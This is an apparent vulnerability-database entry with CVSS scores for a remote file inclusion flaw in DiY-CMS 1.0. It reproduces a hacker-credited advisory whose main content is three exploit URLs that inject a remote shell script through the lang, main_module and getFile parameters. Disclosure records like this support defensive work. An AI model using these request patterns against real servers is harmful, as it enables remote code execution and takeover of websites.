DiY-CMS 1.0 Remote File Inclusion

2010-09-06 / 2010-09-07
Credit: LoSt.HaCkEr
Risk: High
Local: No
Remote: Yes
CWE: CWE-94


Ogólna skala CVSS: 7.5/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

# Exploit Title: [DiY-CMS 1.0 Remote File Inclusion ] # Date: [28-8-2010] # Author: LoSt.HaCkEr ~ aDaM_TRoJaN # Software Link: [http://webscripts.softpedia.com/scriptDownload/DiY-CMS-Download-63258.html] # Version: [v 1.0 ] # Tested on: [Windows XP] # CVE : Hacker town of Musayyib #Contact: LoSt.HaCkEr[at]yahoo[dot]com ~0r~ aDaM_TRoJaN@yahoo.com~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Exploit: http://target/diycms_v1.0/diycms_v1.0/modules/guestbook/blocks/control.block.php?lang=[SHeLL] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~Exploit: http://target/diycms_v1.0/diycms_v1.0/index.php?main_module=[ShEll] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~Exploit: http://target/diycms_v1.0/diycms_v1.0/includes/general.functions.php?getFile=[SHELL] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ A special tribute to: DannY.iRaQi - TeaM iRaQ HaCkers function toggle(obj) { var el = document.getElementById(obj); el.style.display = (el.style.display != 'none' ? 'none' : 'block' ); }

Referencje:

http://xforce.iss.net/xforce/xfdb/61454
http://www.exploit-db.com/exploits/14822
http://packetstormsecurity.org/1008-exploits/diycms-rfi.txt


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top